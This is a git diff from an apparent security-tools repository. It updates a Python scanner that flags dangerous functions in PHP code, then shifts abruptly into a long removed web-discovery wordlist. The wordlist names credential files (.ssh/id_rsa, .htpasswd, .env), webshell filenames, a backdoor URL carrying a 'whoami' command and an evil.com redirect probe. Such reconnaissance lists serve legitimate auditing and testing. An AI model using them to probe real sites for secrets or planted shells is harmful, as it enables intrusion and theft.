name of file/folder to scan + self.skip_vendor = skip_vendor + self.phpfunction = '' if phpfunction is None else phpfunction + self.verbose = verbose + self.scanned_files = 0 # number of scanned files in total + self.found_entries = 0 # total number of findings -def printcodeline(_line, i, _fn, _message): - """ - Formats and prints line of output - """ - print ":: line %d :: \33[33;1m%s\33[0m %s found " % (i, _fn, _message) - print beautyConsole.getColor("grey") + _line + beautyConsole.getSpecialChar("endline") + self.severity = { # severity scale + "high": 0, + "medium": 0, + "low": 0 + } + + self.header_printed = False + return + + def analyse_line(self, l, i, fn, f, line): + """ + analysis of single line of code; searches for pattern (passed as fn and atfn) occurence + + if occurence found, output is printed + """ + total_number_of_isses = None + meets_criteria = 0 + + if fn in line: + if fn == "`": + total_number_of_isses = self.print_code_line( + f.name, l, i, fn, self.severity, self.level, self.source_or_sink) + else: + total_number_of_isses = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, + self.source_or_sink) + meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria + return (meets_criteria, total_number_of_isses) + + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): + """ + prints formatted code line + """ + impact_color = { + "low": "grey", + "medium": "green", + "high": "yellow", + "critical": "red" + } + + meets_criteria = 0 + # print legend only if there is entry in pefdocs.py + if fn and fn.strip() in exploitableFunctionsDesc[self.lang].keys(): + doc = exploitableFunctionsDesc[self.lang].get(fn.strip()) + impact = doc[3] -def main(src): + if (impact.upper() in level.upper()) or level == 'ALL': + if self.phpfunction == '' or self.phpfunction in fn: + if (len(doc) == 5 and source_or_sink == doc[4]) or source_or_sink == 'ALL': + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" + print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, + beautyConsole.getColor( + impact_color[impact]), + beautyConsole.getColor(impact_color[impact]), + _line.strip()[:255], + beautyConsole.getColor("grey"))) + if self.verbose: + print(f"\t{doc[1]}\n\t{doc[0]}\n") + meets_criteria += 1 + if impact not in severity.keys(): + severity[impact] = 1 + else: + severity[impact] = severity[impact] + 1 + return meets_criteria + + def main(self, src): + """ + main engine loop + """ + f = open(str(src), "r", encoding="ISO-8859-1") + i = 0 + res = None + file_found = 0 + all_lines = f.readlines() + for l in all_lines: + i += 1 + line = l.rstrip() + if self.level: + if not self.is_comment(line): + for fn in exploitableFunctions[self.lang]: + (meets_criteria, number_of_issues) = self.analyse_line(l, i, fn, f, line) + if number_of_issues is not None: + res = True + file_found += number_of_issues + return (res, file_found) # return how many findings in current file + + def run(self): + """ + runs scanning + """ + total_found = 0 + + print( + f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") + + if os.path.isdir(str(self.filename)): + for root, _, files in os.walk(self.filename): + if self.skip_vendor is True and "vendor" in root: + continue + for f in files: + extension = f.split('.')[-1:][0] + if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: + self.scanned_files = self.scanned_files + 1 + (res, file_found) = self.main(os.path.join(root, f)) + if file_found > 0: + print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n") + total_found += file_found + else: + self.scanned_files = self.scanned_files + 1 + (res, total_found) = self.main(self.filename) + # print summary + self.print_summary(total_found) + + def is_comment(self, line: str) -> bool: + """ + If line is a comment, we should ignore it + """ + line = re.sub(r"\s+", "", line) + return line.startswith("/") or line.startswith("*") + + def print_summary(self, total_found: int) -> None: + """ + prints summary at the bottom of search results + """ + print(f"{beautyConsole.getColor('white')}Patterns found: {total_found}") + print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") + print(f"{beautyConsole.getColor('grey')}Severity levels: {beautyConsole.getColor('grey')} LOW {beautyConsole.getColor('green')} MEDIUM {beautyConsole.getColor('yellow')} HIGH {beautyConsole.getColor('red')} CRITICAL{beautyConsole.getColor('grey')}\n") + + +def banner(): """ - performs code analysis, line by line + Prints welcome banner with contact info """ - _file = open(src, "r") - i = 0 - total = 0 - filenamelength = len(src) - linelength = 97 - - print "-" * 14, " FILE: \33[33m%s\33[0m " % src, "-" * (linelength - filenamelength - 21), "\n" - - for _line in _file: - i += 1 - __line = _line.strip() - for _fn in pefdefs.exploitableFunctions: - if _fn in __line.replace(" ", ""): - total += 1 - printcodeline(_line, i, _fn + ')', - beautyConsole.efMsgFound) - for _kw in pefdefs.keywords: - if _kw.lower() in __line.lower(): - total += 1 - printcodeline(_line, i, _kw, - beautyConsole.eKeyWordFound) - for _dp in pefdefs.fileInclude: - if _dp in __line.replace(" ", ""): - total += 1 - printcodeline(_line, i, _dp + '()', - beautyConsole.fiMsgFound) - for _global in pefdefs.globalVars: - if _global in __line: - total += 1 - printcodeline(_line, i, _global, - beautyConsole.efMsgGlobalFound) - for _refl in pefdefs.reflectedProperties: - if _refl in __line: - total += 1 - printcodeline(_line, i, _refl, - beautyConsole.eReflFound) - - if total < 1: - print beautyConsole.getColor("green") + \ - "No exploitable functions found\n" + \ - beautyConsole.getSpecialChar("endline") - else: - print beautyConsole.getColor("red") + \ - "Found %d exploitable functions total\n" % (total) + \ - beautyConsole.getSpecialChar("endline") - - print beautyConsole.getColor("white") + "-" * 100 + print(beautyConsole.getColor("green") + "\n\n", "-" * 100) + print("-" * 6, " PEF | PHP Source Code grep tool", + " " * 35, "-" * 16) + print("-" * 6, " https://github.com/bl4de ", + " " * 22, "-" * 16) + print("-" * 100, "\33[0m\n") +def parse_arguments(): + """ + Parses command line arguments + """ + parser = argparse.ArgumentParser( + description="PHP Source Code grep tool", + add_help=True + ) + parser.add_argument( + "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") + parser.add_argument( + "-v", "--verbose", help="show documentation", action="store_true") + parser.add_argument( + "-l", "--level", + help=f"severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: {DEFAULT_LEVELS}") + parser.add_argument( + "-L", "--lang", + help=f"language: PHP, JavaScript; default: {DEFAULT_LANG}") + parser.add_argument( + "-S", "--sources", help="show only sources", action="store_true") + parser.add_argument( + "-K", "--sinks", help="show only sinks", action="store_true") + parser.add_argument( + "-f", + "--function", + help="Search for particular PHP function (eg. unserialize)", + ) + parser.add_argument( + "-d", + "--dir", + help="Directory to scan (or single file, optionally)", + ) + return parser.parse_args() # main program if __name__ == "__main__": - if len(sys.argv) >= 2: - banner() - - # main program loop - if len(sys.argv) == 3 and (sys.argv[1] == "-R" or sys.argv[2] == "-R"): - if sys.argv[1] == "-R": - base_path = sys.argv[2] + '/' - file_list = os.listdir(sys.argv[2]) - if sys.argv[2] == "-R": - file_list = os.listdir(sys.argv[1]) - base_path = sys.argv[1] + '/' - - for __file in file_list: - full_path = base_path + __file - if os.path.isfile(full_path): - main(full_path) - else: - main(sys.argv[1]) + if len(sys.argv) == 1: + print(f"{beautyConsole.getColor('red')}No arguments provided, use -h for help") + exit(1) + + args = parse_arguments() + + lang = args.lang.lower() if args.lang else DEFAULT_LANG.lower() + level = args.level.upper() if args.level else 'HIGH,CRITICAL' + + # if we are looking for a specific function, level is not taken into account + if args.function is not None: + level = 'ALL' + source_or_sink = 'ALL' + + if args.sources: + source_or_sink = 'source' + if args.sinks: + source_or_sink = 'sink' + + # if no directory or file is provided, exit + if args.dir is None: + print(f"{beautyConsole.getColor('red')}No directory or file(s) to scan provided...") + exit(1) + + # check if the langauge selected is available + if lang not in [l.lower() for l in ALLOWED_LANG]: + print(f"{beautyConsole.getColor('red')}Language {args.lang} is not supported, use one of: {', '.join(ALLOWED_LANG)}") + exit(1) + + filename = args.dir - print - else: - print "Enter PHP or directory name with file(s) to analyse" - print "single file: pef filename.php" - print "directory: pef -R dirname" + # main orutine starts here + engine = PefEngine(lang, level, source_or_sink, + filename, args.skip_vendor, args.function, args.verbose) + engine.run() diff --git a/pef/test.inc b/pef/test.inc new file mode 100644 index 0000000..fe82216 --- /dev/null +++ b/pef/test.inc @@ -0,0 +1,5 @@ + 401 -examplesWebApp/SimpleSqlServlet -examplesWebApp/WebservicesEJB.jsp -examplesWebApp/Wsdl2Service.jsp -examplesWebApp/docs -> /docs -examplesWebApp/docs/ -examplesWebApp/domains -examplesWebApp/examples -examplesWebApp/examples/src/examples/copyright.html -examplesWebApp/images -examplesWebApp/index.jsp -examplesWebApp/medrec -examplesWebApp/server -ext_servlet_annotations -ext_servlet_annotations/loginForm.jsp -ext_servlet_annotations/session -fast_track.html -fault -file -file/ -fileRealm -fileRealm.properties -framework/skeletons/console/* -framework/skeletons/console/css/* -framework/skeletons/console/js/* -getior -getior/* -graphics -helloKona -helloWebApp -helloWebApp/hello.html -helloWebApp/hello.jsp -helloWorld -iiop/ClientClose -iiop/ClientClose/* -iiop/ClientLogin -iiop/ClientLogin/* -iiop/ClientRecv -iiop/ClientRecv/* -iiop/ClientSend -iiop/ClientSend/* -images -images/* -index -index.jsp -internal -jdbcRowSets -jdbcRowSetsEar -jdbc_rowsets -jmssender -jmstrader -jsp/* -jspSimpleTag -jspSimpleTagEar -jspbuild -jws_basic_simple -jws_basic_simple/SimpleService -jwsdir -login.jsp -mainWebApp -manifest.mf -mapping -mejb -mydomain -myservlet -org.apache.beehive.netui.pageflow.PageFlowActionServlet -org.apache.beehive.netui.pageflow.xmlhttprequest.XmlHttpRequestServlet -page -patient/login.do -patient/register.do -phone -physican/login.do -portalAppAdmin/login.jsp -properties -proxy -psquare/* -psquare/x.jsp -public_html -registerServlet -reviewService -reviewService/ClientServlet -reviewService/InterceptorClientServlet -reviewService/createArtist_service.jsp -reviewService/dwr/* -reviewService/index.jsp -saml2 -samlacs -samlars -samlits -samlits_ba -samlits_cc -servlet -servletimages -servlets/ -session -simpapp -simple -simpleFormServlet -snoop -stock -stock/* -stock/data/* -stock/index.html -stock/index.jsp -stock/publisher.html -stock/publisher.jsp -survey -system -taglib-uri -uddi -uddi/* -uddi/uddilistener -uddiexplorer -uddiexplorer/* -uddiexplorer/Login.jsp -uddiexplorer/index.jsp -uddilistener -user -utils -web -web.xml -webappCachingEar -weblogic -weblogic.cluster.GroupMessageHandlerServlet -weblogic.cluster.MulticastSessionDataRecoveryServlet -weblogic.cluster.StateDumpServlet -weblogic.deploy.service.internal.transport.http.DeploymentServiceServlet -weblogic.jar -weblogic.management.servlet.BootstrapServlet -weblogic.management.servlet.FileDistributionServlet -weblogic.properties -weblogic.rjvm.InternalWebAppListener -weblogic.servlet.AsyncInitServlet -weblogic.servlet.FileServlet -weblogic.servlet.JSPClassServlet -weblogic.testclient.CallbackHandler -weblogic.wsee.async.AsyncResponseBean -weblogic.wsee.async.AsyncResponseBeanSoap12 -weblogic.xml -weblogic90 -webservice -webservicesJwsSimpleEar -webshare -wl_management -wl_management_internal -wl_management_internal1 -wl_management_internal1/LogfileSearch -wl_management_internal1/LogfileTail -wl_management_internal2 -wl_management_internal2/Admin -wl_management_internal2/Bootstrap -wl_management_internal2/FileDistribution -wl_management_internal2/wl_management -wliconsole -wls_utc -wls_utc/*.do -wls_utc/*.jpf -wls_utc/*.render -wls_utc/*.xhr -wls_utc/CallbackHandler -wls_utc/begin.do -wls_utc/error.jsp -wls_utc/index.html -wls_utc/index.jsp -wls_utc/messageLog.jsp -wls_utc/selectWsdl.jsp -wls_utc4 -wlserver -wlstestclient -wsee -xmlBean -xml_xmlBean -Micros~1 -WebSer~1 -_mem_bin -_private -_vti_adm -_vti_aut -_vti_bin -_vti_cnf -_vti_log -_vti_pvt -_vti_script -_vti_txt -administration -adsamples -archiv~1 -asp -aspnet_client -asps -bin -bins -cgi-bin -cmsample -common -common~1 -db -fpsample -help -iisadmin -iisadmpwd -iishelp -iissamples -images -inetpub -inetsrv -isapi -msadc -pbserver -printers -progra~1 -samples -scripts -scripts -scripts/samples -scripts/tools -sites -siteserver -system -system_web -web -webpub -winnt -wwwroot -x.cfm -x.htx -x.ida -x.idc -x.idq -x.pl -x.shtml -!.gitignore -!.htaccess -!.htpasswd -%3f/ -%ff/ -.7z -.access -.addressbook -.adm -.admin -.adminer.php.swp -.apdisk -.AppleDB -.AppleDesktop -.AppleDouble -.Backup -.bak -.bash_history -.bash_logout -.bash_profile -.bashrc -.bower-cachez -.bower-registry -.bower-tmp -.build/ -.buildpath -.buildpath/ -.builds -.bundle -.bz2 -.bzr/README -.c9/ -.c9revisions/ -.cache -.cache/ -.capistrano -.capistrano/metrics -.cc-ban.txt -.cc-ban.txt.bak -.cfg -.checkstyle -.classpath -.cobalt -.codeintel -.codekit-cache -.codio -.compile -.composer -.conf -.config -.config.php.swp -.configuration.php.swp -.contracts -.core -.coverage -.coveralls.yml -.cpan -.cpanel/ -.cproject -.cshrc -.CSV -.csv -.CVS -.cvs -.cvsignore -.dat -.deployignore -.dev/ -.directory -.dockerignore -.DS_Store -.dump -.eclipse -.editorconfig -.elasticbeanstalk/ -.elb -.elc -.emacs.desktop -.emacs.desktop.lock -.empty-folder -.env -.env-example -.env.php -.env.sample.php -.environment -.error_log -.esformatter -.eslintignore -.eslintrc -.espressostorage -.external/data -.externalToolBuilders/ -.FBCIndex -.fhp -.filemgr-tmp -.fishsrv.pl -.flac -.flowconfig -.fontconfig/ -.fontcustom-manifest.json -.forward -.ftp-access -.ftppass -.ftpquota -.gem -.git -.git-rewrite/ -.git/ -.git/config -.git/HEAD -.git/index -.git/logs/ -.git/logs/HEAD -.git/logs/refs -.git2/ -.git_release -.gitattributes -.gitconfig -.gitignore -.gitignore.swp -.gitignore_global -.gitignore~ -.gitk -.gitkeep -.gitmodules -.gitreview -.grunt/ -.gz -.hash -.hg -.hg/ -.hg/dirstate -.hg/requires -.hg/store/data/ -.hg/store/undo -.hg/undo.dirstate -.hgignore -.hgignore.global -.hgrc -.history -.ht_wsr.txt -.hta -.htaccess -.htaccess-dev -.htaccess-local -.htaccess-marco -.htaccess.BAK -.htaccess.bak -.htaccess.bak1 -.htaccess.old -.htaccess.orig -.htaccess.sample -.htaccess.save -.htaccess.txt -.htaccess_extra -.htaccess_orig -.htaccess_sc -.htaccessBAK -.htaccessOLD -.htaccessOLD2 -.htaccess~ -.htgroup -.htpasswd -.htpasswd-old -.htpasswd_test -.htpasswds -.htusers -.idea -.idea/ -.idea/.name -.idea/compiler.xml -.idea/copyright/profiles_settings.xml -.idea/dataSources.ids -.idea/dataSources.xml -.idea/deployment.xml -.idea/drush_stats.iml -.idea/encodings.xml -.idea/misc.xml -.idea/modules.xml -.idea/scopes/scope_settings.xml -.idea/Sites.iml -.idea/sqlDataSources.xml -.idea/tasks.xml -.idea/uiDesigner.xml -.idea/vcs.xml -.idea/woaWordpress.iml -.idea/workspace(2).xml -.idea/workspace(3).xml -.idea/workspace(4).xml -.idea/workspace(5).xml -.idea/workspace(6).xml -.idea/workspace(7).xml -.idea/workspace.xml -.idea0/ -.idea_modules/ -.ignore -.ignored/ -.ini -.inst/ -.install/composer.phar -.installed.cfg -.joe_state -.jrubyrc -.jscsrc -.jsfmtrc -.jshintignore -.jshintrc -.keep -.komodotools -.komodotools/ -.lesshst -.lighttpd.conf -.listing -.listings -.loadpath -.LOCAL -.local -.localeapp/ -.localsettings.php.swp -.lock-wscript -.log -.login -.login_conf -.LSOverride -.lynx_cookies -.magentointel-cache/ -.mail_aliases -.mailrc -.maintenance -.maintenance2 -.mc -.mc/ -.memdump -.mergesources.yml -.meta -.metadata -.metadata/ -.modgit/ -.modman -.modman/ -.modules -.mr.developer.cfg -.msi -.mweval_history -.mwsql_history -.mysql_history -.nbproject/ -.netrc -.netrwhist -.nodelete -.npmignore -.npmrc -.nsconfig -.old -.oldsnippets -.oldstatic -.org-id-locations -.ost -.passwd -.patches/ -.perf -.php-ini -.php-version -.php_history -.phperr.log -.phpintel -.phpstorm.meta.php -.phptidy-cache -.phpversion -.pki -.placeholder -.playground -.procmailrc -.profile -.project -.project.xml -.project/ -.projectOptions -.properties -.psql_history -.pst -.pydevproject -.python-eggs -.qqestore/ -.rar -.raw -.rbtp -.rdsTempFiles -.remote-sync.json -.revision -.rhosts -.robots.txt -.rsync_cache -.rsync_cache/ -.rtlcssrc -.rubocop.yml -.rubocop_todo.yml -.ruby-gemset -.ruby-version -.rvmrc -.s3backupstatus -.sass-cache/ -.scrutinizer.yml -.selected_editor -.sencha/ -.settings -.settings.php.swp -.settings/ -.settings/.jsdtscope -.settings/org.eclipse.core.resources.prefs -.settings/org.eclipse.php.core.prefs -.settings/org.eclipse.wst.common.project.facet.core.xml -.settings/org.eclipse.wst.jsdt.ui.superType.container -.settings/org.eclipse.wst.jsdt.ui.superType.name -.sh -.sh_history -.shrc -.simplecov -.sln -.smushit-status -.spamassassin -.sql -.sql.bz2 -.sql.gz -.sqlite_history -.ssh -.ssh.asp -.ssh.php -.ssh/authorized_keys -.ssh/id_rsa -.ssh/id_rsa.key -.ssh/id_rsa.key~ -.ssh/id_rsa.priv -.ssh/id_rsa.priv~ -.ssh/id_rsa.pub -.ssh/id_rsa.pub~ -.ssh/id_rsa~ -.ssh/know_hosts -.ssh/know_hosts~ -.ssh/known_host -.st_cache/ -.sublime-gulp.cache -.sublime-project -.sublime-workspace -.subversion -.sucuriquarantine/ -.sunw -.svn -.svn/ -.svn/entries -.svnignore -.sw -.swf -.swo -.swp -.SyncID -.SyncIgnore -.synthquota -.system/sitemap.xml -.tags -.tags_sorted_by_file -.tar -.tar.bz2 -.tar.gz -.temp -.tgitconfig -.thumbs -.tmp -.tmproj -.tox -.transients_purge.log -.Trash -.Trashes -.travis.yml -.tx/ -.user.ini -.vacation.cache -.vagrant -.version -.vgextensions/ -.viminfo -.vimrc -.web -.workspace/ -.wp-config.php.swp -.yardopts -.zeus.sock -.zfs/ -.zip -0.htpasswd -0.php -1.htaccess -1.htpasswd -1.php -1.tar -1.tar.bz2 -1.tar.gz -1.txt -1.zip -1/ -123.php -123.txt -1c/ -2.php -2.tar -2.tar.bz2 -2.tar.gz -2.txt -2.zip -3.php -4.php -5.php -6.php -7.php -8.php -9.php -_.htpasswd -__cache/ -__index.php -__ma/ -__MACOSX -__pma___/ -__SQL -__test.php -_adm -_admin -_common.xsl -_config.inc -_data/ -_data/error_log -_errors -_files -_include -_index.php -_install -_layouts -_log/ -_log/access-log -_log/access.log -_log/access_log -_log/error-log -_log/error.log -_log/error_log -_logs -_logs/ -_logs/access-log -_logs/access.log -_logs/access_log -_logs/error-log -_logs/error.log -_logs/error_log -_mmServerScripts/MMHTTPDB.asp -_mmServerScripts/MMHTTPDB.php -_notes/dwsync.xml -_novo/composer.lock -_old -_pages -_phpmyadmin/ -_PHPMYADMIN/ -_pHpMyAdMiN/ -_phpMyAdmin/ -_private -_source -_SQL -_sqladm -_src -_test -_vti_inf.html -_vti_pvt/service.cnf -_WEB_INF/ -_www -abton/spaw2/dialogs/dialog.php -acceptance_config.yml -access-log -access.log -access.phtml -access_log -accesslog -accesslogs -account.php -account.sql -accounts -accounts.sql -accounts.txt -add.php -adduser -adm -adm.php -adm/ -adm/spaw2/dialogs/dialog.php -adm/upload.php -admin%20/ -admin-console -admin-console/ -admin-serv/ -admin-serv/config/admpw -admin.dat -admin.htm -admin.html -admin.mdb -admin.php -Admin/ -admin/ -admin/.config -admin/.htaccess -admin/_dump/ -admin/access.log -admin/access.txt -admin/access_log -admin/adminer.php -admin/backup/ -admin/backups/ -admin/bootstrap.inc.php?mgp=danc3Uf@t&c=whoami -admin/db/ -admin/download.php -admin/dumper/ -admin/editor/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2lite&type=imagesundefined -admin/error.log -admin/error.txt -admin/error_log -admin/export.php -admin/FCKeditor -admin/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp -admin/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx -admin/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php -admin/fckeditor/editor/filemanager/connectors/asp/connector.asp -admin/fckeditor/editor/filemanager/connectors/asp/upload.asp -admin/fckeditor/editor/filemanager/connectors/aspx/connector.aspx -admin/fckeditor/editor/filemanager/connectors/aspx/upload.aspx -admin/fckeditor/editor/filemanager/connectors/php/connector.php -admin/fckeditor/editor/filemanager/connectors/php/upload.php -admin/fckeditor/editor/filemanager/upload/asp/upload.asp -admin/fckeditor/editor/filemanager/upload/aspx/upload.aspx -admin/fckeditor/editor/filemanager/upload/php/upload.php -admin/include/spaw2/dialogs/dialog.php -admin/includes/configure.php~ -admin/js/tiny_mce/ -admin/js/tinymce/ -admin/lib/spaw2/dialogs/dialog.php -admin/log -admin/logs/ -admin/logs/login.txt -admin/phpMyAdmin/ -admin/phpmyadmin/ -Admin/phpMyAdmin/ -Admin/phpmyadmin/ -admin/phpmyadmin/scripts/setup.php -admin/pma/ -admin/pma/scripts/setup.php -admin/pol_log.txt -admin/private/logs -admin/scripts/setup.php -admin/spaw/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2lite&type=imagesundefined -admin/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2lite&type=imagesundefined -admin/sxd/ -admin/test/ -admin/upload.php -admin/uploadarticles/uploadTester.asp -admin/user_count.txt -admin0 -admin1 -admin1.php -admin1/ -admin2.asp -admin2.old/ -admin2.php -admin2/ -admin_ -admin_files -admin_login -admin_logon -adminconsole -admincontrol.php -admincp/ -admincp/js/kindeditor/ -admincp/upload/ -adminer-4.0.3-mysql.php -adminer-4.0.3.php -adminer-4.1.0-mysql.php -adminer-4.1.0.php -adminer-4.2.0-mysql.php -adminer-4.2.0.php -adminer.php -adminer/ -adminer/adminer.php -administracao.php -administracion.php -administrateur.php -administration.php -administration/ -administration/Sym.php -administrative/ -administrative/login_history -administrator.php -administrator/ -administrator/.htaccess -administrator/components/com_joommyadmin/phpmyadmin/ -administrator/logs -administrators.pwd -adminpanel.html -adminpanel.php -adminpanel/ -admins.asp -admins.php -admins/ -admins/backup/ -admins/log.txt -admpar/.ftppass -admrev/.ftppass -admrev/_files/ -adsystem -affiliates.sql -ajax/app/yahoo/yahoo.htm -alfa/ -all.sql -amad.php -amministratore.php -answers/error_log -apache-default/phpmyadmin/ -apache/logs/access.log -apache/logs/access_log -apache/logs/error.log -apache/logs/error_log -apc-nrp.php -apc.php -apc/apc.php -apc/index.php -api/ -api/error_log -apibuild.pyc -app.config -app.js -app.json -app/.htaccess -app/bin -app/composer.json -app/composer.lock -app/config/adminConf.json -app/config/database.yml -app/config/database.yml.pgsql -app/config/database.yml.sqlite3 -app/config/database.yml_original -app/config/database.yml~ -app/config/databases.yml -app/config/global.json -app/config/parameters.ini -app/config/parameters.yml -app/config/routes.cfg -app/config/schema.yml -app/dev -app/docs -app/etc/config.xml -app/etc/enterprise.xml -app/etc/fpc.xml -app/etc/local.additional -app/etc/local.xml -app/etc/local.xml.additional -app/etc/local.xml.bak -app/etc/local.xml.live -app/etc/local.xml.localRemote -app/etc/local.xml.phpunit -app/etc/local.xml.template -app/etc/local.xml.vmachine -app/etc/local.xml.vmachine.rm -app/languages -app/log/ -app/logs/ -app/phpunit.xml -app/src -app/sys -app/testing -app/unschedule.bat -app/vendor -app/vendor-src -app_dev.php -appcache.manifest -application.log -application/cache/ -application/logs/ -apps/frontend/config/app.yml -apps/frontend/config/databases.yml -asp.aspx -aspnet_webadmin -aspwpadmin -aspxspy.aspx -assets/fckeditor -assets/js/fckeditor -assets/npm-debug.log -asterisk.log -atlassian-ide-plugin.xml -auth.inc -auth.php -auth_user_file.txt -authorization.config -authorized_keys -autobackup.php -awstats -awstats.pl -awstats/ -azureadmin/ -b2badmin/ -back.sql -backdoor.php -backdoor/ -backup -backup.7z -backup.htpasswd -backup.inc -backup.inc.old -backup.old -backup.rar -backup.sql -backup.sql.old -backup.tar -backup.tar.bz2 -backup.tar.gz -backup.tgz -backup.zip -backup/ -Backup/ -backup0/ -backup1/ -backup123/ -backup2/ -backup2010.sql -backup2011.sql -backup2012.sql -backup2013.sql -backup2014.sql -backup2015.sql -backup2016.sql -backups -backups.7z -backups.inc -backups.inc.old -backups.old -backups.rar -backups.sql -backups.sql.old -backups.tar -backups.tar.bz2 -backups.tar.gz -backups.tgz -backups.zip -backups/ -Backups/ -base/ -bb-admin/ -bd.sql -beta/ -bigdump.php -billing -billing/killer.php -bin/config.sh -bin/reset-db-prod.sh -bin/reset-db.sh -BingSiteAuth.xml -bitrix/admin/i.php -bitrix/admin/index.php -bitrix/admin/info.php -bitrix/admin/p.php -bitrix/admin/php.php -bitrix/admin/phpinfo.php -bitrix/authorization.config -bitrix/backup/ -bitrix/dumper/ -bitrix/error.log -bitrix/import/ -bitrix/import/files -bitrix/import/import -bitrix/import/m_import -bitrix/logs/ -bitrix/modules/error.log -bitrix/modules/error.log.old -bitrix/modules/main/admin/restore.php -bitrix/modules/main/classes/mysql/agent.php -bitrix/modules/smtpd.log -bitrix/modules/updater.log -bitrix/modules/updater_partner.log -bitrix/otp/ -bitrix/php_interface/dbconn.1 -bitrix/php_interface/dbconn.2 -bitrix/php_interface/dbconn.bak -bitrix/php_interface/dbconn.dist -bitrix/php_interface/dbconn.old -bitrix/php_interface/dbconn.php.bak -bitrix/php_interface/dbconn.php.dist -bitrix/php_interface/dbconn.php.old -bitrix/php_interface/dbconn.php.save -bitrix/php_interface/dbconn.php.swp -bitrix/php_interface/dbconn.php.templ -bitrix/php_interface/dbconn.php.txt -bitrix/php_interface/dbconn.php2 -bitrix/php_interface/dbconn.save -bitrix/php_interface/dbconn.swp -bitrix/php_interface/dbconn.txt -bitrix/rk.php?goto=http://evil.com -bitrix/web.config -biy/upload/ -Black.php -blacklist.dat -blog/error_log -blog/phpmyadmin/ -blog/wp-content/backup-db/ -blog/wp-content/backups/ -bot.txt -buck.sql -build.gradle -build.local.xml -build.sh -build.xml -build/build.properties -build/buildinfo.properties -build_config_private.ini -c-h.v2.php -c100.php -c22.php -c99.php -c99shell.php -cache/ -cache/sql_error_latest.cgi -Capfile -cc-errors.txt -cc-log.txt -ccbill.log -cell.xml -cfajax/app/yahoo/yahoo.htm -cgi-bin/awstats.pl -cgi.pl/ -Cgishell.pl -change.log -changeall.php -ChangeLog -CHANGELOG -CHANGELOG.txt -ChangeLog.txt -Changelog.txt -changelog.txt -CHANGES.html -changes.txt -checked_accounts.txt -chubb.xml -cidr.txtа -citrix/ -Citrix/PNAgent/config.xml -citydesk.xml -ckeditor -ckeditor/ -ckeditor/ckfinder/ckfinder.html -ckeditor/ckfinder/core/connector/asp/connector.asp -ckeditor/ckfinder/core/connector/aspx/connector.aspx -ckeditor/ckfinder/core/connector/php/connector.php -ckfinder/ckfinder.html -classes/adodb/server.php -classes/cookie.txt -cleanup.log -ClientAccessPolicy.xml -cliente/downloads/h4xor.php -clients.mdb -clients.sql -clients.sqlite -clients.zip -cmdasp.asp -cms-admin -cms.csproj -cms/ -cms/cms.csproj -cms/spaw2/dialogs/dialog.php -cms/Web.config -code/ -codeception.yml -common.inc -common.xml -common/config/api.ini -common/config/db.ini -composer.json -composer.lock -composer.phar -composer/installed.json -conf/ -conf/server.xml -config.bak -config.bat -config.codekit -config.core -config.dat -config.dist -config.inc -config.inc.bak -config.inc.old -config.inc.php -config.inc.php-eb -config.inc.php.bak -config.inc.php.dist -config.inc.php.inc -config.inc.php.inc~ -config.inc.php.old -config.inc.php.save -config.inc.php.swp -config.inc.php.templ -config.inc.php.txt -config.inc.php~ -config.inc.txt -config.inc~ -config.ini -config.ini.bak -config.ini.old -config.ini.txt -config.json -config.json.cfm -config.local -config.old -config.php -config.php-eb -config.php.bak -config.php.dist -config.php.inc -config.php.inc~ -config.php.old -config.php.save -config.php.swp -config.php.templ -config.php.txt -config.php~ -config.rb -config.save -config.swp -config.txt -config.xml -config.yml -config.yml.templ -Config/ -config/ -config/apc.php -config/app.yml -config/AppData.config -config/application.ini -config/aws.yml -config/banned_words.txt -config/config.ini -config/database.yml -config/database.yml.pgsql -config/database.yml.sqlite3 -config/database.yml_original -config/database.yml~ -config/databases.yml -config/dbconfig.ini -config/monkcheckout.ini -config/monkdonate.ini -config/monkid.ini -config/producao.ini -config/routes.yml -config/settings.inc -config/settings.ini -config/settings.ini.cfm -config/settings.local.yml -config/settings/production.yml -configs/conf_bdd.ini -configs/conf_zepass.ini -configuration.ini -configuration.php -configuration.php.bak -configuration.php.dist -configuration.php.old -configuration.php.save -configuration.php.swp -configuration.php.templ -configuration.php.txt -configuration.php~ -configuration/ -confluence/ -connect.inc -console/ -console/base/config.json -console/payments/config.json -content/debug.log -CONTRIBUTING.md -contributing.md -contributors.txt -controlpanel.php -COPYING -core/docs/changelog.txt -coverage.data -coverage.xml -cp.php -cp/ -cpanel -cpanel.php -Cpanel.php -cpanel/ -cpanelphpmyadmin/ -cpbackup-exclude.conf -cpbt.php -cpn.php -cpphpmyadmin/ -crash.php -CREDITS -crm/ -cron.log -cron.php -cron.sh -cron/cron.sh -crond/logs/ -cronlog.txt -culeadora.txt -custom/db.ini -customers.csv -customers.log -customers.mdb -customers.sql -customers.sql.gz -customers.sqlite -customers.txt -customers.xls -CVS/ -cvs/ -CVS/Root -d.php -d0main.php -d0maine.php -d0mains.php -dam.php -data-nseries.tsv -data.mdb -data.sql -data.sqlite -data.tsv -data.txt -data/backups/ -data/debug/ -data/files/ -data/logs/ -data/tmp/ -dataBackup/ -database -database.csv -database.inc -database.log -database.mdb -database.php -database.sql -database.sqlite -database.txt -database.yml -database.yml.pgsql -database.yml.sqlite3 -database.yml_original -database.yml~ -database/ -database_admin -Database_Backup/ -database_credentials.inc -databases.yml -dataobject.ini -davmail.log -DB -db -db-admin -db-full.mysql -db.csv -db.inc -db.ini -db.log -db.mdb -db.properties -db.sql -db.sqlite -db/ -db/main.mdb -db1.mdb -db1.sqlite -db2 -db_admin 